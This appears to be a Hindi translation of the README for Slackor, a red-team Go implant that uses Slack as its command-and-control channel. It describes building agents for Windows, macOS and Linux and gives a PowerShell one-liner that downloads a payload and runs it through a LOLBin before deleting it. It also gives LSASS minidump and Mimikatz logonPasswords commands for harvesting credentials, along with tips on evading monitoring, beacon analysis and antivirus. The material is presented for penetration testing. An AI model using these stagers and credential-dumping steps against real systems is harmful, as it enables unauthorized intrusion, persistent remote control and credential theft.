
एक Golang इम्प्लांट जो स्लैक को कमांड एंड कंट्रोल सर्वर के रूप में उपयोग करता है
https://github.com/n00py/Slackor पर अनुरक्षित
एक Golang इम्प्लांट जो Slack का उपयोग कमांड और कंट्रोल चैनल के रूप में करता है।
यह प्रोजेक्ट Gcat और Twittor से प्रेरित था।
यह टूल एक प्रूफ ऑफ कॉन्सेप्ट के रूप में जारी किया गया है। कोई भी Slack ऐप बनाने से पहले Slack ऐप डेवलपर नीति को पढ़ना और समझना सुनिश्चित करें।
नोट: सर्वर Python 3 में लिखा गया है
इसके काम करने के लिए आपको चाहिए:
इस रिपॉजिटरी में पाँच फ़ाइलें हैं:
install.sh निर्भरताएँ स्थापित करता हैsetup.py स्लैक चैनल, डेटाबेस और इम्प्लांट बनाने की स्क्रिप्टagent.py नए इम्प्लांट जनरेट करने की स्क्रिप्टserver.py Slackor सर्वर, Linux पर चलाने के लिए डिज़ाइन किया गयाagent.go गोलैंग इम्प्लांटrequirements.txt Python निर्भरताएँ (स्वचालित रूप से इंस्टॉल होती हैं)शुरू करने के लिए:
go get github.com/Coalfire-Research/Slackorcd $GOPATH/src/github.com/Coalfire-Research/Slackorinstall.sh चलाएँsetup.py चलाएँ
स्क्रिप्ट सफलतापूर्वक चलाने के बाद, dist/ डायरेक्टरी में कई फ़ाइलें बनाई जाएंगी:
agent.windows.exe: Windows 64-बिट बाइनरीagent.upx.exe: Windows 64-बिट बाइनरी, UPX पैकagent.darwin: macOS 64-बिट बाइनरीagent.32.linux: Linux 32-बिट बाइनरीagent.64.linux: Linux 64-बिट बाइनरीserver.py को Linux होस्ट पर शुरू करने के बाद, अपने टार्गेट होस्ट के लिए उपरोक्त में से उपयुक्त एजेंट निष्पादित करें।
"stager" मॉड्यूल चलाएँ ताकि एक-लाइनर और अन्य ड्रॉपर जनरेट हो सकें।
powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe
यह InvokeWebRequest(PS v.3+) को निष्पादित करेगा ताकि पेलोड डाउनलोड हो, LOLBin का उपयोग करके इसे निष्पादित करे, और फिर मारे जाने पर स्वयं को हटा दे। यह एक कार्यशील उदाहरण है लेकिन कमांड को किसी अन्य डाउनलोड या निष्पादन विधि का उपयोग करने के लिए समायोजित किया जा सकता है।
"help" टाइप करें या [TAB] दबाएँ ताकि उपलब्ध कमांड की सूची देख सकें। किसी कमांड का विवरण देखने के लिए "help [COMMAND]" टाइप करें।
(Slackor)
जब कोई एजेंट चेक-इन करता है, तो आप उससे इंटरैक्ट कर सकते हैं। एजेंट प्रॉम्प्ट में प्रवेश करने के लिए "interact [AGENT]" का उपयोग करें। उपलब्ध कमांड की सूची देखने के लिए "help" या [TAB] दबाएँ।
(Slackor:AGENT)
कमांड आउटपुट और डाउनलोड की गई फ़ाइलें Slack की TLS ट्रांसपोर्ट एन्क्रिप्शन के अतिरिक्त AES एन्क्रिप्टेड होती हैं।
मॉड्यूल डिस्क पर लिखने वाले कार्य करने से पहले आपको चेतावनी देंगे।
शेल कमांड निष्पादित करते समय, ध्यान दें कि cmd.exe/bash निष्पादित किया जाएगा। यह होस्ट पर मॉनिटर किया जा सकता है।
यहाँ कई OPSEC सुरक्षित कमांड हैं जो cmd.exe/bash को निष्पादित नहीं करेंगे:
क्या यह रेड टीम्स/पेंटेस्टिंग के लिए उपयोग करना सुरक्षित है?
हाँ, कुछ शर्तों के अधीन। जबकि डेटा ट्रांज़िट में एन्क्रिप्टेड होता है, एजेंट में डिक्रिप्शन की कुंजी होती है। जो कोई भी एजेंट की प्रतिलिपि प्राप्त करता है, वह इसे रिवर्स इंजीनियर कर सकता है और API कुंजियाँ तथा AES गुप्त कुंजी निकाल सकता है। जो कोई भी वर्कस्पेस से समझौता करता है या अन्यथा उस तक पहुँच प्राप्त करता है, वह उसके भीतर सभी डेटा प्राप्त कर सकता है। इस कारण से, एकाधिक संगठनों के विरुद्ध बुनियादी ढाँचे का पुन: उपयोग करने की अनुशंसा नहीं की जाती है।
Mimikatz के बारे में क्या?
इम्प्लांट में इन-मेमोरी पासवर्ड डंपिंग कार्यक्षमता नहीं है। यदि आपको logonPasswords की आवश्यकता है, तो आप निम्नलिखित प्रयास कर सकते हैं:
(Slackor: AGENT)minidump
यह स्वचालित रूप से Pypykatz के साथ पासवर्ड निकालेगा। वैकल्पिक रूप से, आप Windows पर Mimikatz का उपयोग कर सकते हैं।
>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords
क्या यह क्रॉस-प्लेटफ़ॉर्म है?
इसमें सीमित क्रॉस-प्लेटफ़ॉर्म समर्थन है। इसका उन सभी सिस्टमों पर पूरी तरह से परीक्षण नहीं किया गया है जिन पर इसे चलाया जा सकता है। सर्वर को Kali Linux पर चलाने के लिए डिज़ाइन किया गया था। एजेंट Windows, Mac और Linux के लिए संकलित है, लेकिन इसका मुख्य रूप से Windows 10 के साथ परीक्षण किया गया है। एजेंट उन कमांडों को गलत तरीके से संभाल सकते हैं जो उस एजेंट के प्लेटफ़ॉर्म द्वारा समर्थित नहीं हैं (Mac पर minidump करने का प्रयास न करें)।
यह कितनी अच्छी तरह स्केल करता है?
स्केलेबिलिटी Slack API द्वारा सीमित है। यदि आपके पास कई एजेंट हैं, तो उपयोग में न होने वाले बीकन के बीकन अंतराल को बढ़ाने पर विचार करें।
क्या यह मानक बीकन विश्लेषण के प्रति संवेदनशील है?
वर्तमान में प्रत्येक बीकन में 20% जिटर बिल्ट-इन है, और बीकन समय को अनुकूलित किया जा सकता है। एजेंट चेक-इन अनुरोध और प्रतिक्रिया पैकेट हर बार लगभग समान आकार के होंगे जब तक कि कोई नया कमांड प्राप्त न हो।
जब [y] करने का बेहतर तरीका है तो आपने [x] क्यों किया?
मैंने अपनी पूरी कोशिश की। PRs का स्वागत है :)
यह AV द्वारा पकड़ा जाता है!
अब जब यह ओपन सोर्स है, तो इसमें समस्याएँ होना स्वाभाविक है। मैं मॉड्यूल को जितना हो सके ठीक करूँगा लेकिन इस बात की कोई गारंटी नहीं है कि यह हर समय सभी AV को बायपास करेगा।